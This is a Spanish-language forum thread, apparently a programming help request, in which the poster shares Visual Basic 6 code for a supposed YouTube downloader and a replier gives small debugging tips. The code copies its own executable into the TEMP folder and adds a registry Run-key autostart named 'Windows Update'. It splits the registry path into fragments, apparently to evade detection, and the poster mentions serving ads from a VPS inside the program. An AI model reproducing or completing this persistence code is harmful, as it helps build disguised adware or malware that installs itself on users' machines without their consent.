Hola
gracias por lo del autorun
me surgio otro problema
espero que me ayuden nuevamente
el problema es :

------------------------------------------------------------------------------------------
Private Sub Timer8_Timer()
Dim win
Dim sys
Dim residencia
Dim InicioU As String
'On Error Resume Next
ejec = App.path

If Right(ejec, 1) <> "\" Then ejec = ejec & "\"
ejec = App.path & "\" & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
sys = Environ("TEMP")
win = LCase(win)
sys = LCase(sys)
InicioU = Environ("TEMP") & "\" & "YouTubeDown.exe"
FileCopy App.path & "\" & App.EXEName & ".exe", InicioU
Name sys & "\halo2" As sys & "\YouTubeDown.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\" & "M" & "icrosoft\Window" & "s" & "\Current" & "V" & "ersion\Run\" & "Windows Update", sys & "\YouTubeDown.exe"
-----------------------------------------------------------------------------------------

Bueno espero su pronta respuesta el programa es un downloader de youtube lo trabajo mediante un vps para los anuncios dentro del exe
pero no logro hacerlo que guarde en la carpeta TEMP
porfavor espero sus respuestas gracias

perdon por no explicarme bien
quiero guardar una copia del ejecutable en la carpeta TEMP
o en C:/DATA/
el programa mas arriba tiene para crear tambien la carpeta
pero no logro hacerlo guardar en otro sitio
solo puedo guardarlo en el system32 pero necesito guardarlo en temp o en otro sitio para que funcione casi automaticamente cuando se usa windows vista
espero sus respuestas porfavor

puedes ayudarme porfavor?

Dim ejec As String
Dim obj As Object
no estan declaradas

y par copiar usa filecopy origen, ruta